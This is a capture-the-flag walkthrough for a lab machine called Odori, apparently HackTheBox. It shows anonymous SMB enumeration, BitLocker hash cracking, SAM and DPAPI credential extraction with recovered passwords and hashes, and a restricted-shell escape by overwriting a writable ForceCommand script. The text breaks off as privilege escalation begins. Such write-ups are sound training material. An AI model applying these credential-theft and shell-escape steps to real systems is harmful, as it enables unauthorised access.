# Writeup: Odori
Table of Contents
Summary
The box only exposes three ports: an SMB service and SSH. The SMB share accepts anonymous connections, which allows reading a disk backup. The Windows disk is encrypted with BitLocker, but the password is crackable with john. After that the disk can be mounted and decrypted. On the disk a backup script gives the username for SFTP, whose password can be found in DPAPI. Using the local secrets store the DPAPI credentials can be decrypted, which provides a user password. Only SFTP could be used to log in, which provides limited file upload and read. The sshd_config shows the restricted environment script, and this script is writable by our user, so it can be changed into a full shell, giving the user flag. In the /opt folder a backup script can be identified with a __pycache__, and this cache is world writable. From pspy we find that the script is run every minute. In the compiled cache the path can be changed to our own script that sets the setuid bit on bash. Finally the backup helper script can be triggered by writing a file with a tampered timestamp to the target directory, giving a root shell via our modified bash.
Enumeration
First we get an idea of the attack surface we are dealing with, for this we run a nmap against the top ports with service discovery.
$ sudo nmap -sV -sC -T5 -oA ./03_Scans/Service/Services odori.htbStarting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 17:15 +0000Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service ScanService scan Timing: About 33.33% done; ETC: 17:15 (0:00:12 remaining)Nmap scan report for odori.htb (10.129.131.29)Host is up (0.015s latency).Not shown: 997 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)|_ 256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)139/tcp open netbios-ssn Samba smbd 4445/tcp open netbios-ssn Samba smbd 4Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:|_clock-skew: -1s|_nbstat: NetBIOS name: ODORI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)| smb2-security-mode:| 3.1.1:|_ Message signing enabled but not required| smb2-time:| date: 2026-10-22T17:15:15|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 12.77 secondsWe see that only the samba ports are exposed next to the default ssh port. From the results we can identify it as a Linux host.
When running nmap again with --script=vuln,vulners we get many results:
$ sudo nmap -sV -sC --script=vuln,vulners -T5 -oA ./03_Scans/Service/Services odori.htbStarting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 17:16 +0000Nmap scan report for odori.htb (10.129.131.29)Host is up (0.036s latency).Not shown: 997 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)| vulners:| cpe:/a:openbsd:openssh:8.9p1:| PACKETSTORM:179290 10.0 https://vulners.com/packetstorm/PACKETSTORM:179290 *EXPLOIT*| 1EEC8894-D2F7-547C-827C-915BE866875C 10.0 https://vulners.com/githubexploit/1EEC8894-D2F7-547C-827C-915BE866875C *EXPLOIT*| 09B905C6-CD97-54E6-AD97-B0DD1AC4771B 10.0 https://vulners.com/githubexploit/09B905C6-CD97-54E6-AD97-B0DD1AC4771B *EXPLOIT*| PACKETSTORM:173661 9.8 https://vulners.com/packetstorm/PACKETSTORM:173661 *EXPLOIT*| F0979183-AE88-53B4-86CF-3AF0523F3807 9.8 https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807 *EXPLOIT*| CVE-2023-38408 9.8 https://vulners.com/cve/CVE-2023-38408| CVE-2023-28531 9.8 https://vulners.com/cve/CVE-2023-28531[...]These however seem to be false positives, as the quick PoC we try does not work.
SMB
We enumerate SMB further to see which shares are available.
$ rpcclient -U "" odori.htbPassword for [WORKGROUP\]:rpcclient $> srvinfo ODORI Wk Sv PrQ Unx NT SNT odori server (Samba, Ubuntu) platform_id : 500 os version : 6.1 server type : 0x809a03rpcclient $> enumdomainsname:[ODORI] idx:[0x0]name:[Builtin] idx:[0x1]rpcclient $> netsahreenumallcommand not found: netsahreenumallrpcclient $> netshareenumallnetname: print$ remark: Printer Drivers path: C:\var\lib\samba\printers password:netname: backup remark: Server Backups path: C:\backup password:netname: IPC$ remark: IPC Service (odori server (Samba, Ubuntu)) path: C:\tmp password:There is a readable share backup from which we could extract some interesting information.
To dump all the share’s data we use netexec with spider_plus:
$ nxc smb odori.htb -u "" -p "" -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=./SMB 10.129.131.29 445 ODORI [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:False) (Null Auth:True)SMB 10.129.131.29 445 ODORI [+] ODORI\:SPIDER_PLUS 10.129.131.29 445 ODORI [*] Started module spidering_plus with the following options:SPIDER_PLUS 10.129.131.29 445 ODORI [*] DOWNLOAD_FLAG: TrueSPIDER_PLUS 10.129.131.29 445 ODORI [*] STATS_FLAG: TrueSPIDER_PLUS 10.129.131.29 445 ODORI [*] EXCLUDE_FILTER: ['print$', 'ipc$']SPIDER_PLUS 10.129.131.29 445 ODORI [*] EXCLUDE_EXTS: ['ico', 'lnk']SPIDER_PLUS 10.129.131.29 445 ODORI [*] MAX_FILE_SIZE: 50 KBSPIDER_PLUS 10.129.131.29 445 ODORI [*] OUTPUT_FOLDER: ./SMB 10.129.131.29 445 ODORI [*] Enumerated sharesSMB 10.129.131.29 445 ODORI Share Permissions RemarkSMB 10.129.131.29 445 ODORI ----- ----------- ------SMB 10.129.131.29 445 ODORI print$ Printer DriversSMB 10.129.131.29 445 ODORI backup READ Server BackupsSMB 10.129.131.29 445 ODORI IPC$ IPC Service (odori server (Samba, Ubuntu))SPIDER_PLUS 10.129.131.29 445 ODORI [+] Saved share-file metadata to "./10.129.131.29.json".SPIDER_PLUS 10.129.131.29 445 ODORI [*] SMB Shares: 3 (print$, backup, IPC$)SPIDER_PLUS 10.129.131.29 445 ODORI [*] SMB Readable Shares: 1 (backup)SPIDER_PLUS 10.129.131.29 445 ODORI [*] Total folders found: 0SPIDER_PLUS 10.129.131.29 445 ODORI [*] Total files found: 1SPIDER_PLUS 10.129.131.29 445 ODORI [*] File size average: 66 BSPIDER_PLUS 10.129.131.29 445 ODORI [*] File size min: 66 BSPIDER_PLUS 10.129.131.29 445 ODORI [*] File size max: 66 BSPIDER_PLUS 10.129.131.29 445 ODORI [*] File unique exts: 1 (txt)SPIDER_PLUS 10.129.131.29 445 ODORI [*] Downloads successful: 1SPIDER_PLUS 10.129.131.29 445 ODORI [+] All files processed successfully.The backup share only contained a text file info.txt:
Please download the .vmdk file linked in the machine description.The original lab likely contained the disk image itself. But for this retired machine the image could be downloaded from the machine’s description.
Disk image
In total this was a 7zip archive of 18 GB, so we had to wait a bit for it to come in. We can then extract it with 7zip:
$ 7z e odori.7z
7-Zip 26.02 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-06-25 64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:4096, ASM
Scanning the drive for archives:1 file, 19795590292 bytes (19 GiB)
Extracting archive: odori.7z
Enter password (will not be echoed):--Path = odori.7zType = 7zPhysical Size = 19795590292Headers Size = 228Method = LZMA2:25 7zAESSolid = -Blocks = 1
31% - file02.vmdkThis gave us a VMware disk image.
With 7z we can also inspect the contents of the vmdk, which reveals Windows disk partitions.
$ 7z l file02.vmdk[...] Size Compressed Name------------ ------------ ------------------------ 104857600 104857600 0.EFI system partition.img 16777216 16777216 1.Microsoft reserved partition.img 20800602112 20800602112 2.Basic data partition.img 549453824 549453824 3.ntfs------------ ------------ ------------------------ 21471690752 21471690752 4 files2.Basic data partition.img looks like the largest partition, but I could not mount it directly.
$ sudo guestmount -a file02.vmdk -m /dev/sda2 --ro ./vmdk-mntlibguestfs: error: mount_options: mount exited with status 32: mount: /sysroot: wrong fs type, bad option, bad superblock on /dev/sda2, missing codepage or helper program, or other error. dmesg(1) may have more information after failed mount system call.guestmount: ‘/dev/sda2’ could not be mounted.This indicates that it might be BitLocker encrypted.
Using bitlocker2john we were able to identify some hashes:
$ bitlocker2john -i file02.vmdk | tee hashEncrypted device file02.vmdk opened, size 19122MB
Signature found at 0x330003Version: 8Invalid version, looking for a signature with valid version...
Signature found at 0x25c00000Version: 2 (Windows 7 or later)
VMK entry found at 0x25c000f3
VMK encrypted with Recovery Password found at 0x25c00114Salt: 0e51a3612966f798a7c1453cc00c17fbSearching AES-CCM from 0x25c00130Trying offset 0x25c001c3....VMK encrypted with AES-CCM!!RP Nonce: a054f9580964db0107000000RP MAC: 8f21deeb81c915a00826ec90fc8058abRP VMK: 4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88da
VMK entry found at 0x25c0027f
VMK encrypted with User Password found at 25c002a0VMK encrypted with AES-CCMUP Nonce: e0ff381f1d64db010c000000UP MAC: 5cefbde7d7788cb3dcec4313763d63a0UP VMK: 283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5[...]After some processing we get the recovered hashes that we can try and crack:
Signature found at 0x4a15aff78Version: 0Invalid version, looking for a signature with valid version...
User Password hash:$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5Hash type: User Password with MAC verification (slower solution, no false positives)$bitlocker$1$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5Hash type: Recovery Password fast attack$bitlocker$2$16$0e51a3612966f798a7c1453cc00c17fb$1048576$12$a054f9580964db0107000000$60$8f21deeb81c915a00826ec90fc8058ab4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88daHash type: Recovery Password with MAC verification (slower solution, no false positives)$bitlocker$3$16$0e51a3612966f798a7c1453cc00c17fb$1048576$12$a054f9580964db0107000000$60$8f21deeb81c915a00826ec90fc8058ab4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88daWe pass these hashes to john with the rockyou.txt word list.
$ john --format=bitlocker hash ~wordlists/rockyou.txtNote: This format may emit false positives, so it will keep trying even after finding a possible candidate.Warning: invalid UTF-8 seen reading /usr/share/wordlists//rockyou.txtUsing default input encoding: UTF-8Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])Cost 1 (iteration count) is 1048576 for all loaded hashesWill run 12 OpenMP threadsProceeding with single, rules:SinglePress 'q' or Ctrl-C to abort, almost any other key for statusAlmost done: Processing the remaining buffered candidate passwords, if any.Proceeding with wordlist:/usr/share/john/password.lst123456789 (?)123456789 (?)Resulting in the password (123456789) which can be used to decrypt the volume.
I was not able to mount the vmdk directly so we first convert it with qemu-img to a raw disk image.
$ qemu-img convert -f vmdk -O raw ./file02.vmdk file02.imgAfter which we create a loop device so we can interact with it.
$ sudo modprobe loop
$ sudo losetup -fP ./file02.imgWe can now see the partitions as block devices on our host:
$ lsblk /dev/loop0NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTSloop0 7:0 0 20G 0 loop├─loop0p1 259:0 0 100M 0 part├─loop0p2 259:1 0 16M 0 part├─loop0p3 259:2 0 19.4G 0 part└─loop0p4 259:3 0 524M 0 partWith cryptsetup we can decrypt the data partition and get a disk mapping. As the password we use 123456789.
$ sudo cryptsetup bitlkOpen /dev/loop0p3 btl_winEnter passphrase for /dev/loop0p3:After which we mount the newly created mapping.
$ sudo mount /dev/mapper/btl_win vmdk-mntThe disk contains an unclean file system (0, 0).Metadata kept in Windows cache, refused to mount.Falling back to read-only mount because the NTFS partition is in anunsafe state. Please resume and shutdown Windows fully (no hibernationor fast restarting.)Could not mount read-write, trying read-onlyThis finally gives us access to the Windows drive.
$ tree -L 1 vmdk-mnt vmdk-mnt├── $Recycle.Bin├── $WinREAgent├── Config├── Data├── 'Documents and Settings' -> /home/kali/Shared/HTB/Odiri/vmdk-mnt/Users├── DumpStack.log.tmp├── pagefile.sys├── PerfLogs├── ProgramData├── 'Program Files'├── 'Program Files (x86)'├── Recovery├── Scripts├── 'System Volume Information'├── Users└── WindowsWindows disk pillaging
In Scripts we find a backup script without a password, but it does show us how to connect over SSH.
Odiri/vmdk-mnt/Scripts $ cat backup.ps1# Odori Backup Script
<#
# Backup via SFTP
# Install and Import Posh-SSH module if not already installed# Install-Module -Name Posh-SSH -Force -Scope CurrentUser
$SFTPServer = "odori.vl"$SFTPPort = 22$SFTPUser = "svc_backup"$SFTPPassword = "***"$SFTPRemoteFolder = "/backup"
try { $SFTPSession = New-SFTPSession -ComputerName $SFTPServer -Port $SFTPPort -Credential (New-Object PSCredential($SFTPUser, (ConvertTo-SecureString $SFTPPassword -AsPlainText -Force))) Write-Host "Starting backup via SFTP..." Set-SFTPItem -SessionId $SFTPSession.SessionId -LocalPath "$SourceFolder\*" -RemotePath $SFTPRemoteFolder -Recurse Write-Host "Backup via SFTP completed successfully." Remove-SFTPSession -SessionId $SFTPSession.SessionId} catch { Write-Host "Error during SFTP backup: $($_.Exception.Message)"}#>
# Backup via SMB
$SourceFolder = "C:\data"$DestinationFolder = "\\odori.vl\backup"
if (-not (Test-Path -Path $DestinationFolder)) { New-Item -ItemType Directory -Path $DestinationFolder -Force}
Write-Host "Starting backup via SMB..."try { Copy-Item -Path $SourceFolder\* -Destination $DestinationFolder -Recurse -Force Write-Host "Backup completed successfully."} catch { Write-Host "Error during backup: $($_.Exception.Message)"}%In the Administrator’s Downloads we see a PuTTY installer:
$ ls Users/Administrator/Downloads -l.rwxrwxrwx 282 root 8 Jan 2025 desktop.ini.rwxrwxrwx@ 3.8M root 11 Jan 2025 putty-64bit-0.82-installer.msiLooking in the registry for passwords:
$ reglookup Users/Administrator/NTUSER.DAT | grep SimonTatham/Software/SimonTatham,KEY,,2025-01-11 09:32:13/Software/SimonTatham/PuTTY,KEY,,2025-01-11 11:02:12/Software/SimonTatham/PuTTY/Jumplist,KEY,,2025-01-11 13:24:01/Software/SimonTatham/PuTTY/Jumplist/Recent sessions,MULTI_SZ,,/Software/SimonTatham/PuTTY/Sessions,KEY,,2025-01-11 13:24:01/Software/SimonTatham/PuTTY/SshHostKeys,KEY,,2025-01-11 11:02:12/Software/SimonTatham/PuTTY/SshHostKeys/ssh-ed25519@22:odori.vl,SZ,0x5fb2f0d6500478d7f92d95d4b0f753051522f7ae11cca6a8db5c0bc3740312d6%2C0x554893fc3229e1ed6b9070f25d5492c3cf0ed527b373f40fc6af507b11e1fd9f,This only yields the server’s public key.
We try to dump the registry hives for crackable passwords:
$ secretsdump.py LOCAL -system SYSTEM -sam SAM -security SECURITY > secdump$ cat ~/Shared/HTB/Odiri/secdumpImpacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xed44fa9df4c6a93d1ebe33bff5083393[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:b56b03d0393ad23e2a893f1c754b0719:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:63d7c1f6a1a8378eba2ee87246bf7140:::svc_backup:1000:aad3b435b51404eeaad3b435b51404ee:be3071bd4cce75e2bbd3c79c7ec5380e:::[*] Dumping cached domain logon information (domain/username:hash)[*] Dumping LSA Secrets[*] DPAPI_SYSTEMdpapi_machinekey:0xb7db177e591e961acac578175c1139626e36b40bdpapi_userkey:0xe72f58588ec7fe6a0733db679d91fee53a3a1896[*] NL$KM 0000 E1 18 0C E9 50 D9 C9 D9 98 05 1A 78 D3 75 6F D7 ....P......x.uo. 0010 90 18 8F 7E E4 78 44 64 EF BA 43 E6 24 78 60 47 ...~.xDd..C.$x`G 0020 79 1E A8 B2 BC 1C 51 8B E2 21 4D 7E 25 7F 39 75 y.....Q..!M~%.9u 0030 77 9F 39 E0 D3 C8 78 72 A9 88 6E 05 A2 42 1B 7F w.9...xr..n..B..NL$KM:e1180ce950d9c9d998051a78d3756fd790188f7ee4784464efba43e624786047791ea8b2bc1c518be2214d7e257f3975779f39e0d3c87872a9886e05a2421b7f[*] Cleaning up...Trying to crack these does not give any results:
$ hashcat -m 1000 -a 0 hashes ~wordlists/rockyou.txt
Session..........: hashcatStatus...........: ExhaustedHash.Mode........: 1000 (NTLM)Hash.Target......: hashesTime.Started.....: Thu Oct 22 19:44:24 2026 (1 sec)Time.Estimated...: Thu Oct 22 19:44:25 2026 (0 secs)Kernel.Feature...: Pure Kernel (password length 0-256 bytes)Guess.Base.......: File (/usr/share/wordlists//rockyou.txt)Guess.Queue......: 1/1 (100.00%)Speed.#01........: 13088.5 kH/s (0.15ms) @ Accel:1024 Loops:1 Thr:1 Vec:16Recovered........: 1/4 (25.00%) Digests (total), 0/4 (0.00%) Digests (new)Progress.........: 14344385/14344385 (100.00%)Rejected.........: 0/14344385 (0.00%)Restore.Point....: 14344385/14344385 (100.00%)Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1Candidate.Engine.: Device GeneratorCandidates.#01...: !carolyn -> $HEX[042a0337c2a156616d6f732103]
Started: Thu Oct 22 19:44:24 2026When we grep for putty we see the following in the search history:
"System.ConnectedSearch.JumpList":{"Value":"[{\"Type\":0,\"Items\":[{\"Type\":1,\"Name\":\"odori.pub\",\"Path\":\"C:\\\\Config\\\\odori.pub\",\"Description\":\"odori (C:\\\\Config)\",\"Date\":\"2025-1-11\",\"Points\":2},{\"Type\":1,\"Name\":\"odori.ppk\",\"Path\":\"C:\\\\Config\\\\odori.ppk\",\"Description\":\"odori (C:\\\\Config)\",\"Date\":\"2025-1-11\",\"Points\":1},{\"Type\":1,\"Name\":\"flag.txt\",\"Path\":\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\flag.txt\",\"Description\":\"flag (C:\\\\Users\\\\Administrator\\\\Desktop)\",\"Date\":\"2025-1-11\",\"Points\":1}]}]","Type":12}Which is interesting, however when we inspect the folders they seem empty.
Scripts/backup.ps1:$SFTPUser = "svc_backup"Windows/debug/PASSWD.LOG:01/11 05:27:40 Attempting password change server/domain FILE02 for user svc_backupWindows/System32/Tasks/backup_data: <UserId>FILE02\svc_backup</UserId>We try to extract the credentials from DPAPI:
$ impacket-dpapi credential -file FB28D44A1080F4C10BF3530DD6D7B9E1Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[BLOB]Version : 1 (1)Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EBMasterKeyVersion : 1 (1)Guid MasterKey : BB3025A7-E7D7-405E-BB83-13113F771DEBFlags : 20000000 (CRYPTPROTECT_SYSTEM)Description : Local Credential Data
CryptAlgo : 00006610 (26128) (CALG_AES_256)Salt : b'888fb43425c5b7e990ecc0b259db546484a2ce73737a95a9bb364b48c105897a'HMacKey : b''HashAlgo : 0000800e (32782) (CALG_SHA_512)HMac : b'5d377d616e5977e003946f49d5c146e1b7f6ff3a44da7101128df3f146ac9996'Data : b'c50064de4238e5d7ed3fbc5470a5484249e39495136d0359da6e3381e1f81915f9ba6636de52a6c999cf8f5cd87e265e854e17ca1ffb7bcc055fa4a4d1ad28d1d8c49ffcc483614ca9d5d2258ea559d7e73e474e99df1f57c15eb5e7121938ceffad0e9ff0ccc4e9fdd4ac1d62f8dbd9f432ecf33272d68a1071ad9aa29e8baa6e1976258393fd14bfb3a212430c2756d711cffc5d0ca0b91cf0e48d2b878abc0b6b065b89f0c7fe3c5f957fe1ac78dc4fa3ca4fd062fd097594b0ee0bd0316d62c01d1163aaf7af0ad5e9556d377e4cf97be9f14c9245e9383ff45131b534caaef9249ad20d4494d41bcf0970a6f6c0db328a6a787d1a852bd535a7eb05fbd864db886c28cf7a248138e5cecd398a033ae146d196e657860343668df8be8f37'Sign : b'f4d4e00a3cf4caf35c57a3c31b8fa0c084e8eb9f4dfabbaf9405bad7218decea2c387d8f8b9b3dc3937592f0013bece7a74f6a756bce178c43ae6950e15a8671'
Cannot decrypt (specify -key or -sid whenever applicable)We find the GUID BB3025A7-E7D7-405E-BB83-13113F771DEB.
In Windows/System32/Microsoft/Protect/S-1-5-18/User we find the master key,
which we can decrypt using the dumped SYSTEM and SECURITY hives:
$ impacket-dpapi masterkey -file bb3025a7-e7d7-405e-bb83-13113f771deb -system ~/Shared/HTB/Odiri/SYSTEM -security ~/Shared/HTB/Odiri/SECURITY
[*] Target system bootKey: 0xed44fa9df4c6a93d1ebe33bff5083393[*] Dumping LSA Secrets[*] DPAPI_SYSTEM[*] NL$KMDecrypted key with UserKeyDecrypted key: 0xcf24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c2804868d08101865cWith this key we can get the credentials:
$ impacket-dpapi credential -file DFBE70A7E5CC19A398EBF1B96859CE5D -key 0xcf24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c2804868d08101865cImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
KeyWord : Microsoft_WindowsLive:authstate:0Data : 0000 01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 .............z.. 0010 4F C2 97 EB 01 00 00 00 A7 25 30 BB D7 E7 5E 40 O........%0...^@ 0020 BB 83 13 11 3F 77 1D EB 00 00 00 00 02 00 00 00 ....?w.......... 0030 00 00 10 66 00 00 00 01 00 00 20 00 00 00 B2 AE ...f...... ..... 0040 C7 59 1F 5A D4 D7 E0 83 EE BD 50 16 20 86 0F C9 .Y.Z......P. ... 0050 4A 93 C9 F9 DB 00 D4 68 3F BA 49 EA FB 1C 00 00 J......h?.I..... 0060 00 00 0E 80 00 00 00 02 00 00 20 00 00 00 51 AD .......... ...Q. 0070 6A 57 26 10 C4 47 D6 36 AF 7D C0 57 15 1D 63 8B jW&..G.6.}.W..c. 0080 0E 6B FB A9 27 63 3B ED 6B 64 69 0C 65 2F 80 1E .k..'c;.kdi.e/.. 0090 00 00 09 9A 90 C5 26 76 F0 37 BB F6 3D A8 4B 92 ......&v.7..=.K. 00a0 CE AD 08 6D 12 58 9C BD 3F 13 2B 41 F1 2D 03 E6 ...m.X..?.+A.-.. 00b0 2A DC 36 78 55 3E 15 A1 DB FF E6 A6 43 0D 7B 30 *.6xU>......C.{0 00c0 A7 ED 03 BB EC 95 B3 1A 49 D0 A7 47 CB 11 2A 4A ........I..G..*J 00d0 37 0C C3 5C 48 DF A6 4E 2D 50 03 B0 0E 68 3E 0F 7..\H..N-P...h>. 00e0 9F 26 BA 21 E3 27 B5 19 D0 BC B2 F4 BF 27 01 76 .&.!.'.......'.v 00f0 81 AD 54 90 E8 CA 39 76 99 0D 2D 38 05 EC 0C 2E ..T...9v..-8....KeyWord : Microsoft_WindowsLive:authstate:1[...]The first one does not seem too interesting.
$ impacket-dpapi credential -file FB28D44A1080F4C10BF3530DD6D7B9E1 -key 0xcf24245f66aefb9ec1e5c28e9d2a326308cbf8c7cc610e0913566e01019fb6ee29dd7978c14d9f408e49743340aa634db7823c97a9fee8c2804868d08101865cImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]LastWritten : 2025-01-11 13:27:40+00:00Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)Target : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}Description :Unknown :Username : FILE02\svc_backupUnknown : Napping2CuratorFoothold
We seem to be able to authenticate.
$ ssh svc_backup@odori.htbThe authenticity of host 'odori.htb (10.129.131.29)' can't be established.ED25519 key fingerprint is: SHA256:mIGaInSzVAyqGLwJxqKASYEfFsomls34P/H0XmYb2LkThis key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'odori.htb' (ED25519) to the list of known hosts.svc_backup@odori.htb's password:
[hangs]But it gets stuck. The script did use SFTP so it might only be possible to use that.
$ sftp svc_backup@odori.htbsvc_backup@odori.htb's password:Connected to odori.htb.sftp> lsuser.txtThat does work!
We can download the user flag now:
sftp> get user.txtFetching /home/svc_backup/user.txt to user.txtuser.txt$ cat user.txt8c1dc48b009071afb9c42268316f9c78Privilege Escalation
Time for the priv esc, or maybe we first need to get a full shell.
We inspect the /etc/ssh/sshd_config to see what sets our shell. We get it locally and inspect it.
$ cat sshd_config[...]
Match group svc_backup #ChrootDirectory /backup ForceCommand /opt/restrict /home/%u AllowTcpForwarding noFor this /opt/restrict is used.
This is a bash script:
$ cat restrict#!/bin/bash
/usr/lib/openssh/sftp-server -d $1If we inspect the owner of the file we can see that we are the owner of it:
sftp> ls -al /optdrwxr-xr-x 3 root root 4096 Apr 24 11:59 .drwxr-xr-x 21 root root 4096 Apr 24 11:59 ..drwxr-xr-x 3 root root 4096 Apr 24 11:59 archiver-rwxrwxr-x 1 svc_backup root 48 Jan 11 2025 restrictThis means we can overwrite it with our own copy.
We change it to:
#!/bin/bash/bin/bash/usr/lib/openssh/sftp-server -d $1After which we upload it back to the server:
sftp> put restrictUploading restrict to /opt/restrictrestrictIf we now log in we get our shell!
$ ssh svc_backup@odori.htbsvc_backup@odori.htb's password:svc_backup@odori:~$ iduid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)We run linpeas and find many kernel exploits.
$ ./linpeas.sh[...]╔══════════╣ Kernel Exploit Registry (T1068)═╣ Operating system ............. Linux═╣ Kernel release ............... 5.15.0-177-generic═╣ Comparable version ........... 5.15.0.177═╣ Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..23)═╣ Kernel config source ......... /boot/config-5.15.0-177-genericCVE: CVE-2022-0847 | Name: DirtyPipe | Match data: pkg=linux-kernel,ver>=5.8,ver<=5.16.11 | Tags: ubuntu=(20.04|21.04),debian=11 | Rank: 1CVE: CVE-2022-0995 | Name: watch_queue | Match data: pkg=linux-kernel,ver>=5.8,ver<5.16.5,x86_64 | Tags: ubuntu=21.10{kernel:5.13.0.37-generic} | Rank: 1 | Details: Not 100% reliable, may need to be run a couple of times. It rare cases it may panic the kernel.
╔══════════╣ Checking for Dirty Frag (CVE-2026-43284 / CVE-2026-43500) (T1068)╚ https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available╚ https://www.cve.org/CVERecord?id=CVE-2026-43284╚ https://www.cve.org/CVERecord?id=CVE-2026-43500CVE-2026-43284 (xfrm-ESP): autoloadable: esp4 esp6 xfrm_user ipcomp6CVE-2026-43500 (rxrpc): autoloadable: rxrpcNone of these seem to work.
Enumerating the filesystem further we find something in /opt/archiver.
Here app.py checks if a file is old enough to be archived:
$ cat app.pyimport osfrom datetime import datetime, timedeltafrom helper import tar_and_move_files
backup_dir = '/backup'archive_dir = '/archive'threshold_date = datetime.now() - timedelta(days=3*365)
def scan_and_archive_files(): if not os.path.exists(archive_dir): os.makedirs(archive_dir) for root, dirs, files in os.walk(backup_dir): for file in files: file_path = os.path.join(root, file) file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path)) if file_mod_time < threshold_date: print(f'Moving {file_path} to archive...') tar_and_move_files(file_path, archive_dir) else: print(f'{file_path} is not old enough to archive.')
if __name__ == '__main__': scan_and_archive_files()The helper then runs the tar command:
$ cat helper.pyimport osimport subprocessfrom datetime import datetime
def tar_and_move_files(file_path, archive_dir): current_date = datetime.now().strftime('%Y-%m-%d') tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz') subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)]) os.remove(file_path)What is also interesting is that we have world-writable access to __pycache__:
$ ls -altotal 20drwxr-xr-x 3 root root 4096 Apr 24 11:59 .drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..-rw-r--r-- 1 root root 812 Jan 11 2025 app.py-rw-r--r-- 1 root root 412 Jan 16 2025 helper.pydrwxr-xrwx 2 root root 4096 Apr 24 11:59 __pycache__The pycache is used when a script in the directory is run, so we might be able to inject some code here.
Inspecting its contents shows that it is likely the cache for helper.py:
|^@¡^A^A^@d^@S^@)^GNz^H%Y-%m-%dÚ^A_z^G.tar.gzz^L/usr/bin/tarz^D-czfz^B-C)^Kr^B^@^@^@Ú^CnowÚ^HstrftimeÚ^BosÚ^DpathÚ^DjoinÚ^HbasenameÚsubprocessÚ^EPopenÚ^GdirnameÚ^Fremove)^DÚ file_pathÚ^Karchive_dirÚ^Lcurrent_dateÚ^Ltar_filename©^@r^R^@^@^@ú^W/opt/archiver/helper.pyÚ^Rtar_and_move_files^E^@^@^@s^H^@^@^@^N^A"^A&^A^N^Ar^T^@^@^@)^Dr^F^@^@^@rWe cannot find a crontab that uses it, so we pull in pspy to see what is going on.
$ ./pspy64
